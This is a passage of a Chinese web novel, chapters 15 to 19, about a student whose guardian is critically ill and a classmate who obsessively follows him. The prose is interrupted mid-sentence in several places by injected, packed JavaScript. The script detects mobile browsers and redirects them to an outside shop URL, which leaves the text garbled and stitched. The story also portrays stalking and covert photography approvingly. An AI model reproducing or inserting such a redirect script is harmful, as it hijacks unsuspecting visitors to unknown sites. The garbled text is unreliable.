薛蕴知别过头:“学费我自己解决了,严叔你不用担心。” 严锐立看着他像以前一样犟得不行,拗不过他,最后还是接过了那张卡,叹了口气:“要是崔柳知道了,肯定要骂你了。” 薛蕴知顺着他的话看向了抢救室,目光沉沉,好像能把紧闭的厚重的门盯出个洞来。 过了不知道多久,等到医生出来,他的脑袋里还是嗡嗡作响,像是被隔绝在了另一个世界。严锐立立马迎了上去,焦急地问怎么样了。 薛蕴知沉沉地看着,一阵耳鸣,他使劲甩了甩头,想听见他们在说什么,但一个字都听不清。 “没事没事,抢救过来了,进icu了,没事了,没事了。”严锐立的声音穿透性地刺进了薛蕴知的耳朵里,把他从那种茫然的、昏沉的状态里一把拽了出来。 严锐立看着薛蕴知状态好像不太对劲,但他表情始终很平静,于是他没多想,把这种不对劲归结于熬夜导致的。 作为这里唯一的大人,看着面前的两个孩子,严锐立强硬勒令薛蕴知和严溪回家睡觉,这里有他一个人就足够了。 严溪还是初中生,还在住校。夜已经深了,薛蕴知私下里要了崔柳的主治医生的联系方式,又打了辆车准备把严溪送回学校,在车上稍微安抚了下哭个不停的脆弱初中生。 他其实也没多少安慰人的经验,学着自己见过的别人安慰人的模样,僵硬地摸了摸严溪的头,又拍了拍他的背,就当是全部的安慰过程了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140962|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哥……妈会好起来吗?”严溪惶恐不安地问,眼睛哭得红肿。 薛蕴知拿湿巾仔仔细细擦干他的眼睛:“会没事的,我保证。” 他们的关系实际上并不算很融洽。薛蕴知初一的时候住进他们家里,那个时候严溪才十岁,接受不了家里突然多了个哥哥,对他总是怀揣着一种敌意。 第一次见面时就憋着气不和他讲话,也不叫哥哥,把崔柳气得不行;后来也似乎总在躲着薛蕴知,不和他正面交流,只躲在门背后偷偷瞧他。 很幼稚的,浮于表面的一种敌意。 这种别扭的小孩子式的敌意并没有被薛蕴知放在心上,在崔姨家里住的三年里,他和严溪见过的面不多,他对于严溪的印象也很浅,就是一个被保护得很好的有任性资本的小孩。 但他不知道的是,严溪潜意识里其实是有些崇拜他的。 此时,心里暗自崇拜的哥哥正绷着一张平静的脸,嗓音冷静平稳,仿佛具有某种安抚人心的魔力,严溪立时感到一种无比的安心,肿成核桃的眼睛看着薛蕴知,相信事情一定会像哥哥说的那样,很快就会好起来。 严溪哭着哭着就趴在窗子边上睡着了,到了他上的那所初中学校,车停下来,薛蕴知把他喊醒,目送他一步三回头地进了学校。 薛蕴知坐回了车上,到距离自己租房的那栋楼还有一公里的时候,他就下了车。 秋天夜里的风很冷,吹在人身上虽然不像刀子刮似的,却也有种刺骨的寒凉。 呼啸的冷风吹得薛蕴知脑子清醒了不少,他坐在路边的椅子上,垂下头,沉默地盯着地上的落叶。 他好像在走神,眼睛没有聚焦,又好像没有。 身后的草丛似乎被人的手臂扫到,发出了明显的噪音声响。 “你能别再阴魂不散跟着我吗?”薛蕴知头也没抬,冷冰冰地说。 “……神经病吧。”小声地嘀咕。 薛蕴知听见耳边响起的是陌生的声音,一愣,扭头看过去,刚才发出声响的是个刚好经过草丛的路人,此时摩梭着双臂,似乎真的觉得自己在大半夜的街道上遇到了个神经病,离他远远的,快步走开了。 薛蕴知:“……” 他少有这么尴尬的时候,抿了抿唇,路人已经快步走远了,看不见背影了,他才小小声说了句:“不好意思啊。” 过了几秒,温涟的身影从另一边走了出来。薛蕴知没猜错,他确实跟着他。 薛蕴知感觉有点丢脸,正生着闷气,不想理他,就当没看见他。 “刚刚不是还喊我出来吗?” 每一次和薛蕴知在校外的碰面,温涟都没有戴着他那副好像嵌在脸上般的土气眼镜,一双浅色的眼睛清透宁静,毫无阻碍地专注看着他,气质带着几分沉郁的神秘的忧郁感。 16. 第 16 章 ……没有人在喊你。 薛蕴知依旧不理睬,只在心里默默回他。他眉眼都染上了躁郁的神色,掏出一包烟抽出一根低头咬住了,想靠烟来遏制满得快要溢出来的情绪。 晚上的风很大,打火机按了好几下都没点燃,他轻轻啧了一声,快要压不下眉眼那股戾气,视线里突然伸进了一只手,手指微微弯起挡住了四周的风,另一只手则极其自然地按在了他的手上,带着他的大拇指往下按。 火光窜起来,点燃了烟,映在漆黑的瞳孔里,一瞬间好像驱散了湿冷的孤寂的空气。温涟那张精致的脸庞也被暖光照亮,添上了几分令人忍不住靠近的温度。 不知道出于什么情绪,薛蕴知竟然没打掉他的手,任由他的手继续按在自己的手上,面无表情地,恶意地对着温涟的脸吐出一口气烟雾,像是幼稚又无聊的小学生报复法。 温涟的脸被烟雾模糊,明明是很容易激起人的破坏欲和施虐欲的场景,但他没有被呛得咳嗽,也没有眼尾泛红,露出那种让人心疼的情态,薛蕴知眼神冷淡地看着他,在烟雾的模糊中依稀窥见他弯起了眼睛,好像感到很愉悦似的。 薛蕴知微微拧起眉。温涟不躲,反而往前凑近了他点,眼睛直勾勾盯着薛蕴知的眼睛,深深呼吸着着被薛蕴知吐出的气体。 两人彼此交换着呼吸,寒冷的夜晚,两人凑得很近,几乎都能感受到对方身上温暖的体温,仿佛是一对极其亲密的情侣。半晌,薛蕴知像是忽地反应了过来,反应很大地仓皇地往后躲开了,仿佛是对温涟避之不及。 但他既没有站起来,也没有伸手使劲推开温涟,只是偏过头往后仰了仰身子,并不像是特别抗拒。 反而像是在欲拒还迎。 温涟看着他,忍不住笑起来,手还抓着他的手,不舍得松开。薛蕴知没甩开他。 仅仅是这一点的放纵,就让温涟好像得到了莫大的奖励,带着足以烫伤的温度从那双弯起的月牙般的眼睛里流露出来。——这是一种不正常的、仿若小狗对主人、信徒对神明的狂热。 “你跟着我到底有什么目的?”薛蕴知调整了有些不自然的表情,恢复了冷漠的神色,冷声问他。 “因为我就是阴魂不散啊。”温涟还是弯着眼睛,过长的刘海扫着他的睫毛与眼皮,身上那股忧郁的文艺气息褪去,取而代之的是一种阴湿瘆人的气质。 薛蕴知好像这时候才回了神,把他推开了,偏过头去吸了两口咬在唇上的烟,尼古丁的气味让他的情绪镇定了些,没再故意地对着温涟的脸吐烟。 很没意思。 薛蕴知垂下眸,一瞬间便掩去了眸里所有的情绪。 “薛蕴知,”温涟突然开口,“你很难过吗?” 薛蕴知反问:“和你有关系吗?” 温涟认真道:“有。”他直勾勾地望着薛蕴知,眼神专注,在刮着冷风的寒冷夜晚透出几分灼人的炙热。 薛蕴知咬着烟,抬眸轻飘飘扫他一眼,对视的一刹那,他像是被烫到一样迅速挪开视线,顿了几秒后,转身冷漠无情地迈开了步子。 温涟眼睛微微睁大一点,立马跟上他的速度迈开步子,亦步亦趋地跟在他身后,保持着不变的距离。 走了十多分钟,薛蕴知绕路都没把他甩开,终于转过身,皱眉看着他:“别跟着我。” 温涟迈开的那一脚慢吞吞收了回来,抬眸看着薛蕴知,朝他眨了眨眼睛,但就跟锯了嘴的葫芦一样又不说话了。 薛蕴知犹疑地看着他,看他没反应,便转回去迈步继续走。刚踏出一步,一直关注着身后人动作的余光就意识到温涟又跟了上来,他不耐烦地啧了声,连转身都懒得转身,只微微侧身,一把拽下自己背着的书包往后砸去。 “你是跟屁虫吗?我让你别跟着我你听不懂?” 黑色书包径直砸在了温涟的脸上,他偏头躲开,双手却下意识伸出抱住了书包。 书包没什么重量,薛蕴知上课都不学,遑论放学之后,里面没装几本书,就装了个本子、几张试卷和几根笔。 温涟抱紧了怀里的书包。 两人隔着不近不远的距离对视着,看起来像是中间隔着鸿沟般水火不容,但这条小道上此时只有他们二人,便似有若无地透露出几分难以言说的旖旎氛围。 薛蕴知按了按额角,他缓缓吐出一口浊气,冷风还在飕飕地吹着,他轻声地又重复了遍:“别跟着我。” 他好像很累很累,浓密的长睫挡住了大半瞳孔,连温涟都难以窥见那双眼睛里透出的情绪了。 这一次,薛蕴知再次迈步往回家的方向走,后面没再有人跟上来。路灯把他一个人的影子拉得很长很长,笼上一层寂寥又孤单的暖光。 温涟站在原地没动,他安静看着薛蕴知离开的背影,直到薛蕴知的身影在他眼睛里逐渐缩小,缩成一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140963|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再到消失,他才终于收回了视线。 怀里还抱着薛蕴知的书包,再简单不过的样式,质量也一般,看样子是三四十买到的。 但温涟此刻的注意力全都放在了这个书包本身,他唇角弯了起来,依恋地抱住了,这是薛蕴知送他的第一件礼物,他要好好珍惜。 这个书包属于薛蕴知的个人物品,而现在被他主动给了自己,温涟高兴地耳朵都红了起来,明明晚上很冷,他却感觉浑身都热了起来,甚至想跑起来大吼几声。 不仅是书包本身,书包里的东西对他的诱惑力也非常大,温涟迫不及待地想要拉开书包拉链。但还是暂且忍住了。 温涟回到家后,忙不迭地跑进自己的房间。 温席林刚处理完公司的文件,准备上楼睡觉,就看见温涟回来的身影。他立马端起当哥哥的架子,想批评温涟怎么又这么晚回来,刚吐出一个“温”字,面前的门就被用力甩上了。 “砰”的一声,差点砸到他的鼻子,留在他面前的只剩关门扬起的一阵风。 温席林猛地往后退了几步,深吸了口气,才勉强把被气得翻涌的情绪压了下去。 温涟合上门顺手上锁,在这个独属于他的空间里,他郑重地把那个黑色书包端端放在了桌子上,一脸严肃好似从事什么重大精细工作的模样,把拉链认真拉开。 一个本子,封面贴了个标签,龙飞凤舞写着“薛蕴知”三个字,温涟端正放在桌上。 三根笔,红蓝黑,温涟一根一根放好,挨着本子放好。 然后是一沓试卷,试卷周围满是褶皱破损,一看就不被主人爱惜,而是随便塞进了书包里。 像废纸一样被蹂躏过的试卷被温涟珍惜地铺平摊开,简直就是像在对待什么珍贵的宝物,他看出这是高二上次月考的试卷。 薛蕴知选的是理科,温涟看着理综那张答题卡上的鲜红分数愣了下,歪了歪头。 然后又凑近眨了眨眼睛仔细看,确认自己没看错。 152分……152分? 温涟从来没考过这么低的分,看到这个数字有点茫然,又去看语数外三门的分数。 他脸上出现了凝重的神色,在心里算了算薛蕴知的总分,一共是425。 温涟盯着这个分数,趴在了桌子上,手指轻轻戳着那一沓试卷,玻璃一样的浅色眸子里浅浅浮现出几分惆怅,他想和知知上同一所大学。 17. 第 17 章 薛蕴知回到了自己租的那个单间里,小小的房间,被床就占了大半,压抑又逼仄的环境,让方才轻松了一点的心情又迅速被阴云布满。 没有空调和暖气,屋内和外面一样冷。秋天还好,冬天就有点难熬了。 薛蕴知不太喜欢冬天,冬天很冷,有时候半夜被冻醒,他就睡不着了,于是裹着被子坐起身,在台灯下翻着课本和试卷,不走心地看一看。 希望冬天晚点来。 薛蕴知进门之后,把身上那身校服脱掉,换成了睡衣,胡乱地洗漱完后缩进了被窝里汲取暖意。 他打开手机,看到严锐立给他发的消息:【你崔姨这里有我,别担心了,早点睡。】 【高二了还是要以学习为主,等你崔姨醒了之后,肯定也不会想让你为了她耽搁学习的。】 手机屏幕亮着,薛蕴知看着上面发来的信息,把自己又往被子里缩了缩,抱着枕头,想到自己一塌糊涂的成绩…… 那也没什么好被耽误的。 但崔姨严叔他们不知道。薛蕴知把手机按灭塞到枕头底下,使劲搓了几把脸,然后把脸往枕头里一埋,他们还以为自己是个勤奋刻苦的好学生呢。 薛蕴知都能想到等自己高考成绩一出来,他们眼睛里一定会浮现出失望的错愕的神情…… 薛蕴知倏地翻了个身,床吱呀地想了一声。 他让自己别再去想这件事,木已成舟,他现在就是这么个破成绩,他还是老老实实兼职打工,给自己交学费,然后混个大学上,再继续老老实实兼职打工,最后再拿个毕业证全职打工。 到时候要买个小房子,够他一个人住就行……唔,最好要比现在这个大一点,他还要买个空调,安上暖气,床也买大点,现在这个床他睡着要稍微蜷着身子,有点不舒服…… 想着想着,薛蕴知昏昏沉沉地快要睡着了,迷迷糊糊考虑着自己以后要买个什么样的房子,又要怎么把自己小小的房子装修得漂亮点。 梦里他兢兢业业打工赚钱,卡里的存款越来越多,他高高兴兴地买了自己中意的一室一厅一厨一卫小房子,正陷在这种有个家的喜悦之中。画面忽地一转,亮着灯的抢救室占据了整个画面,鼻腔里好像还残留消毒水的气味,滴滴滴的声音每一下都像是敲击着心脏,让人忍不住升起惶恐焦虑的情绪,恐惧着不好的事情发生。 薛蕴知就和严锐立一起站在穿白大褂的医生面前,他听着医生说着上万的手术费治疗费,但是脑子又不够清醒,大脑没办法意识到这些庞大数字代表着什么,只知道是很多钱。 他慌张地把自己那张银行卡拿出来,医生却面无表情地、冷漠地说,不够。 太少了。 钱不够是做不了手术的…… 薛蕴知只能眼睁睁看着心跳监测仪上变成一条直线,他的心脏也跟着猛的一抽。 狭小逼仄的房间里,薛蕴知猛地睁开眼睛,被这个噩梦惊醒。他额前还布着细密的冷汗,浑身被寒意侵蚀。 是他睡觉的时候翻来覆去,把被子折腾得掀起了大半,他半个人都晾在外面,又被冷风一吹,受凉之后美梦变噩梦。 薛蕴知抓着被子准备重新把自己裹住,刚抓住被子,视线一瞥,就瞥见躲在他被子里的一截安静的触手。 薛蕴知视线一顿:“……” 触手又悄悄地往被子里缩了缩,企图降低自己的存在感,瑟瑟缩缩的。莫名让薛蕴知想到了另一个人。 脑子闪过戴眼镜书呆子的一瞬间,薛蕴知整个人猛地僵住,俊帅的脸上蓦然显出古怪的表情,他莫名其妙想起那个变态干嘛?他不会真被影响到了吧。 ……他恐同!对男的没兴趣! 薛蕴知在心里默念了两遍,一边使了巧劲一把将一个劲往被窝里钻的触手提了起来。 他捏得很紧,很有技巧,以免灵活的触手从他的掌心溜走。 触手被逮住了逃脱不了,于是小心翼翼地娇羞地用尾端勾他手腕,搔得痒痒的。 薛蕴知却是冷漠脸,眯了眯眼睛,沉默半晌,嗤了一声:“你真是运气好。” 要不是他租的这个单间没厨房,他就要做碳烤触手了,把这怪玩意儿烹了煮了煎了。 庆幸他现在还没钱吧。 看着这个呆愣愣的触手,估计也没有脑神经能够支撑它思考,薛蕴知抿了下唇,暗恼,他真是有病,和这触手有什么好说的? 过于真实贴近现实的噩梦,让薛蕴知心里翻起一阵压抑的情绪,堵的他心里发慌涩然。 为什么做什么都需要钱? 但他好歹也是独立生活了一年多的人,很快就调整好了情绪,轻声叹了口气,面色平静地打开窗户就要把触手从里面扔出去。 触手意识到他的企图,连忙用尾端卷缠住他的手,撒娇似的轻轻磨蹭着,在白皙泛红的手腕留下湿漉漉的滑痕,看起来可怜巴巴的。 在求饶吗?薛蕴知挑了下眉,打开窗户后冷风呼呼地吹着,把他的碎发吹得乱晃,反而有种随性潇洒的帅气。 触手锲而不舍地用尾端尖尖勾缠他,吸盘一翕一张的。薛蕴知也不知道触手有没有疼痛的神经,想要松开的手犹豫了起来。 三楼说高不高,但绝对也算不上矮。薛蕴知望着这个高度,最后还是心软了,把窗户关上,窗帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140964|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也拉上了。 他不爱开窗,因为和隔壁楼挨得太近,开窗也透不进令人舒适暖洋洋的太阳光,反而只能窥见一堵墙,压抑得不行。 眼不见心不烦,薛蕴知干脆常年关窗。但窗子和窗帘的质量都一般,冷风可以从各种缝隙里透进来,窗帘也不太能遮光。他想着将就着将就着,也就用下去了。 门被打开,触手被扔了出去,啪嗒掉地上,还没来得及挽留,门就被砰的一声关上。 触手:“……” 触手给自己打气。没事,还能进去。 薛蕴知是个心挺大的人,坚定的唯物主义者,不觉得触手能无缘无故出现在他的家里,心想肯定是从某个地方钻进来的,于是把里里外外检查了一遍,把房间里存在的通口都挡了起来,甚至连老鼠洞都拿箱子堵住了。 累了一通后,薛蕴知躺在床上,眼睛大睁着,半点困意都没了。 台灯亮着,薛蕴知翻来覆去睡不着,意识到自己这是失眠了,决定找个方法催眠一下自己。看书最管用了,他每次一看就困。 薛蕴知下床去找书包,一览无余的房间里硬是没看到一个黑色书包,他冥思苦想自己的书包呢,脑子忽地闪过自己用书包砸了温涟的片段。 怎么忘了捡回来了……?薛蕴知右眼跳了下,立马闭上眼睛,伸手把眼睛按住,物理制止眼皮跳动。 薛蕴知:“……”看来这个治疗失眠的方法是用不了了。 他闭上眼睛,重新酝酿睡意,然而一闭上眼睛,眼前陷入黑暗,马上要进入睡眠的时候哦,方才的噩梦却又浮现了出来,历历在目。 薛蕴知脑海里一出现那个画面就心慌,怎么也睡不着,鼻尖沁出细碎汗珠,最后不得不睁开眼睛。 他打开手机,翻看着列表,他当初找兼职时加过不少人和群,自从存款稍微好看点了之后,周末就没做兼职了,但现在正值这种需要用钱的情况,他又开始看起了曾经做过的兼职,满脑子都是要攒点钱。 翻看时,余光瞥到自己曾经在一家酒吧做过的兼职,他眉头轻轻皱了下,有关于那段兼职经历的记忆复苏,虽然钱很多,但的的确确是段很烂的经历…… 薛蕴知唇抿成一条线,他居然忘记把这人拉黑了。 他没犹豫,嫌恶地皱眉,迅速把这个号拉黑。拉皮条的恶心东西。他见一次打一次。 薛蕴知退出社交软件,把手机往枕头底下一塞,被子盖过头顶。整个人被温暖的被窝吞没,身体汲取到了一点安全感,他神情都轻松了不少,皱皱鼻子,无声地呐喊着。 除了出卖色相以外,到底还有没有快速搞到钱的方法啊?! 18. 第 18 章 薛蕴知第二天起床时毫不意外地顶着两个黑眼圈出现在教室,看起来心情不好,没人敢主动来搭话。 自从昨天他接了那通电话之后江明就很担心他,看他今天这个状态无疑就更担心了。 但薛蕴知一到教室趴到桌子上就开睡,好像一晚上没睡觉似的,江明也不忍心把他叫醒,于是时不时地向同桌投去忧虑的眼神。 直到老师敲了敲他的桌子,他才如梦初醒,装出一副认真看试卷的模样。 “我在讲试卷,你在看什么?”生物老师手里拿着月考的试卷,身上戴着小蜜蜂,调侃地问,“同桌有这么好看吗?一直盯着同桌。” 江明摸摸鼻子,真心实意地:“……啊?” 教室里爆发一阵善意的哄笑。薛蕴知被吵醒了,脑袋还昏昏沉沉的,状况外地抬起了头,头发在脸上压出了红印,眼里还含着未消的雾气。 “看吧,同桌都被你盯醒了,”生物老师笑了声,清了清嗓子,“好了,别再走神了,都集中精神听我讲卷子。这次你们班考得很烂……” 她说着,瞥到睡醒的薛蕴知桌子上还是空空如也,似笑非笑地锁定了薛蕴知。 薛蕴知抬头不经意间和她对上了眼神,几秒后,又默默地低下了头,把江明的卷子往自己这边扯了扯,放在了中间,凝神,做出一副专注认真的模样。 江明还在懵逼,冤枉啊,他才没把薛蕴知盯醒,薛蕴知那明明是被笑声吵醒的。 生物老师见状摇了摇头,昨天刚发下来的卷子,今天就找不到了。但她也没多追究苛责,愿意做样子装一下认真也不错了。做老师的最重要的就是要心态好了。 心态很好的老师继续讲着课,江明终于从懵的状态中回过神来,看看薛蕴知的侧脸,又看看试卷,忽然发觉了盲点,“你卷子呢?不是——你书包呢哥??” 薛蕴知摸了摸鼻子,不知道为什么莫名有些心虚,为了维持正经模样,皱起眉一副严肃模样:“丢了。” “丢了?”江明抓了抓头发,不理解地轻声嘀咕着,“这个也能丢吗?” 算了,这个不是大问题,江明表情也严肃起来,正色:“你那边……怎么样?” 薛蕴知今早起床之后先是去了趟医院,主治医生说,崔姨得的是血管母细胞瘤,家属要做好迎接天价治疗费用的准备。他不知道什么程度算天价,询问了一句,医生没说话,比了个数。 至少100万往上。 江明见他的神情暗淡下去,也意识到情况不乐观,声音放轻了:“有什么需要我帮忙的吗?” 薛蕴知抬眸,眼角那颗红痣好像都灰暗了下来,这张脸上出现这副神情十分容易激起人内心深处的心疼怜惜。实在是太犯规了! “我真的能帮你的!如果有我帮得上的,你直接跟我提,别和我客气。”江明一连提了两遍,着急又坚定。 薛蕴知还没捋明白自己的思绪,眼皮还是微微耷拉着,遮住黑珍珠一样瞳孔,看起来很不在状态,闻言艰难扯出一个笑容:“谢谢你。” 很快下课铃声响了,有个人走过来挤眉弄眼地对薛蕴知说外面有人找他。薛蕴知茫然地抬眸,翘起椅子偏头往外面扫了一眼。 没看见人。 对于是谁找他这事,薛蕴知心里猜到了大半,想着应该是温涟来还他书包,便起身出去了。 戴着黑框眼镜、刘海很长的男生端正站在栏杆边上,背挺得很直,不难看出他身材很好,一旦不再畏畏缩缩的,极好的身体比例就显露了出来,身高腿长的。 过路的学生都忍不住朝他频频投去视线,想知道拥有这样男模级别身材的人脸长什么样。但头发和眼镜把那张脸挡得太严实了,就露出一截洁白的下巴尖。 薛蕴知出来之后,垂眸扫了眼他的手,什么也没拿。不是来送书包的吗? 两手空空的就来了,那找他做什么? 温涟启唇:“知知。” 旁边路过的学生一听到这个称呼眼睛骤然瞪大,耳朵都竖起来了,什么情况?!这谁?和薛蕴知这么亲密吗?? 投来的视线太过炙热,空气中八卦的气息也十分强烈,两个主人公都感受到了这股诡异的氛围。 自诩钢铁直男的薛蕴知率先受不了这群人的眼神注视了,抓着温涟的手臂毫不手软地拽着他往空旷的地方走。 温涟十分顺从,毫不反抗他粗暴的动作,落后几步亦步亦趋跟在他身边,视线落在他抓着自己胳膊的手,眼睛微微睁大,旋即愉悦地弯起眼睛,仿若陷入了少女怀春般的幸福中。 “别那样叫我。”到了空旷的,四周没人的地方,薛蕴知第一句话就是要和他撇清干系。 叫那么亲密干嘛?显得好像他们很熟一样。 温涟也不说话,只是默默地取下了眼镜,光亮没有遮挡地照在了眼睛上,刺激得那双浅色眼睛泛起朦胧水色。 薛蕴知皱眉:“听见了吗?” “听见了。”温涟乖巧点头,很是配合的模样。 薛蕴知见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140965|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他确实配合,眉头舒展开,强调完称呼这一点后,便直接切入正题:“你是来还我书包的?” 他伸出手,挑眉,摆明了是准备看温涟从哪里变出个书包还他。 温涟半晌没动,就在薛蕴知快要不耐烦,手往上抬起了点的时候,温涟突然俯身,下巴抵在了他的掌心,抬起眼睛往上看,一个字一个字往外面冒:“我只是来找你的。” 薛蕴知的手就跟触了电似的,立马抽出手缩了回来,垂至身边握成了拳。 他耳根红了,不知道是被气得还是别的什么原因,眼角那颗痣也亮了起来,灿红的漂亮极了。和被轻薄了似的,白皙的脸染上一层似是怒意的薄红:“找我做什么?” 温涟喉咙一紧,眼睛直勾勾盯着他,想要舔过他身上的每一寸皮肉,馋的不行。但现在这种情况他只能强行压下自己的欲/望,看得到吃不到反而加重了他内心深处的渴求。 “想你了。”他实话实说。 薛蕴知按了按额角,不想和他掰扯这些:“把我书包还我。” 温涟弯着眼睛,身上环绕着一种温和忧郁的气质,看起来好说话得很,却是摇了摇头。 薛蕴知咬牙切齿:“我试卷还在里面!” “你……上课要用试卷吗?”这回温涟是真的露出了有点不解的神情。试卷上的分数他还历历在目,他以为薛蕴知一点不学的。 薛蕴知:“……”挑衅他? “你不还算了,反正也没什么值钱的东西。” 薛蕴知移开视线,平静地转身,毫不拖泥带水,他是真的不想再和温涟有任何瓜葛纠缠了。 他已经说了很多遍了,他崆峒,这人却还是像看不懂眼色似的像块橡皮糖黏上来。 ……很烦。 薛蕴知刻意忽略掉内心深处的另一层感受,脸上只有冷漠又冰冷的神色。 他迈开步子走得很快,丝毫没有留念的意思,然而没想到反转来的这么快。 薛蕴知又一次在医院里看望崔姨时,意外听见了严叔和医生的对话。 “先治疗可以吗?我尽量在一周内把钱补齐……”严锐立憔悴了不少,胡子拉碴也没有心情刮了。 薛蕴知躲在门后面,耳朵却将严锐立和主治医生的谈话尽收耳底,每一个字都极其沉重地砸在他心上。 钱不够。……他需要钱。很多很多钱。怎么才能得到钱? 薛蕴知背抵着白墙,顺着滑落下去,蹲着靠在了墙边上。脑子里闪过了一个人的身影。 19. 第 19 章 普普通通的黑色书包被温涟认真摆在了桌子,周围挂着的是薛蕴知不同角度的照片,基本都是偷拍来的照片。薛蕴知不爱自拍,很少有正面照片。 这个房间内的隔间和外面的装修风格完全不一样,到处都摆放着生活气息的用品,甚至精美半透明盒子里还收藏着糖纸,洋溢着一种温馨幸福的味道。 隔间并不算大,温涟在这里面搭了个小床,他有时候实在压制不住自己内心的欲/望的时候,就会在这里睡觉,一睁眼就能看见薛蕴知的照片,空气中仿佛萦绕着他的味道,让他由衷升起一种幸福感。 他此时坐在桌子前,手里拿着薛蕴知的月考试卷,安静地翻看着。一边看薛蕴知的错题,一遍在本子上写写画画,记录薛蕴知的薄弱点。 房间里亮着偏黄色的暖光, 手机突然响了一声,屏幕亮了起来,温涟眼睛一亮,这个提示音是他专门给薛蕴知设置的,树叶被风吹响掀起的哗啦啦声,很清新好听,就像薛蕴知给他的感觉一样。 他立马拿起手机看消息。 知知:【有时间吗?我想和你谈谈。】 【有。】 约好见面的时间地点之后,温涟脸上的笑意快要压不住了,弯起的眼睛里流露出蜜一样的甜意,在衣柜里精心挑选了一套好看的衣服,对着镜子仔仔细细打理了下自己。 镜子里的男生穿着一件浅黄色卫衣,浅蓝色牛仔长裤,很亮的颜色,看起来十分明快,刘海遮挡下的那双眼睛若隐若现,他对着镜子,用手撩起了下,然后又十分不习惯地把手放了下去,厚重的刘海再一次垂下去挡住漂亮的浅色眼瞳。 临出门时,竟然又碰见了温席林。 温席林和他几个认识的朋友正在客厅聊天,一个个穿得人模狗样的,温涟心道一声晦气,一声招呼也没打,绕开沙发准备离开。 “温涟。”温席林出声喊住了他,“你去哪儿?” 温涟向来穿得低调,经常是隐没在人群中就再也找不到他的程度。但今天这身颜色明亮,把浑身的阴郁气都冲掉了不少,看起来倒有点高中生的青春样了。 温涟眼神也没投过去一眼,平静淡声道:“和你没关系。” 门被关上。被下了面子的温席林脸上有点挂不住,傲慢的脸上流露出不可思议的神色。 温涟怎么敢这么对他说话? “席林哥,别为了这么个人生气,”费嘉言出声打破了尴尬的氛围,笑嘻嘻的,“他不是一向这么古怪的吗,别管他了。” 温席林摇摇头,叹了口气:“要是你是我弟弟就好了。你们不知道,他以前……” 一想到曾经的事,他的眼神突然暗了点,嫌恶地眯起眼睛,但家丑不外扬,他还是把话咽了回去。 “我啊,我就算了,我就一扶不上墙的烂泥,”费嘉言抓了抓头发,很有自知之明,他转头又问其他几位哥哥,“对了,你们知不知道怎么追人啊?” 有个人开口问:“谁啊?能让你亲自追的……不会是一年前那个?这么久了你还念念不忘啊?” 费嘉言轻啧了声:“没吃到手,勾得我心痒痒。而且那张脸……” 他舌抵了抵唇,“那张脸长得太爽了,性子也辣得很,我就想玩一玩,说不定很快就没兴趣了。” 温席林盯着门口,还在思索中,忍不住皱眉道:“不行,我得去看看。” 温席林觉得温涟最近太不对劲了,他得看看他在搞什么鬼,他毕竟是温涟哥哥,就算温涟是个虐杀动物的变态,也是温家的人。 温席林起身,披上外套准备出门跟上去。 费嘉言眼珠子一转,跟着起身:“席林哥,我跟你一起去呗。” 温席林:“怎么?” 费嘉言笑道:“帮我查个人呗,就一年前我追的那个……之前你们在酒吧也见过一回。” 他这么一提,温席林也想起了那张脸,确实很有记忆点了,性格冷硬,脸却艳得出奇。 “你还惦记着呢。行。” * 咖啡厅里播放着舒缓的音乐,薛蕴知来的时候,温涟已经就位了,桌子上除了两杯咖啡和小蛋糕之外,还放了个本子。背包被放在了另一个凳子上。 薛蕴知扫了眼,发现不是他的包,心里想,温涟能不能主动把包还给他,虽然他当时冲动放了话说不要了,但是一想到重新买个背包要五十,他就觉得如果温涟能还给他就更好了。 “我记得你不爱喝太甜的,这些都不是很甜。”温涟把一杯咖啡朝薛蕴知的位置轻轻推了推,眼睛弯弯的。 薛蕴知抿了抿唇,低着头,轻声道:“不用了。” “你先尝尝好不好~”温涟趴在桌上,歪着头从下面往上看薛蕴知,唇角漾着笑意。 从这 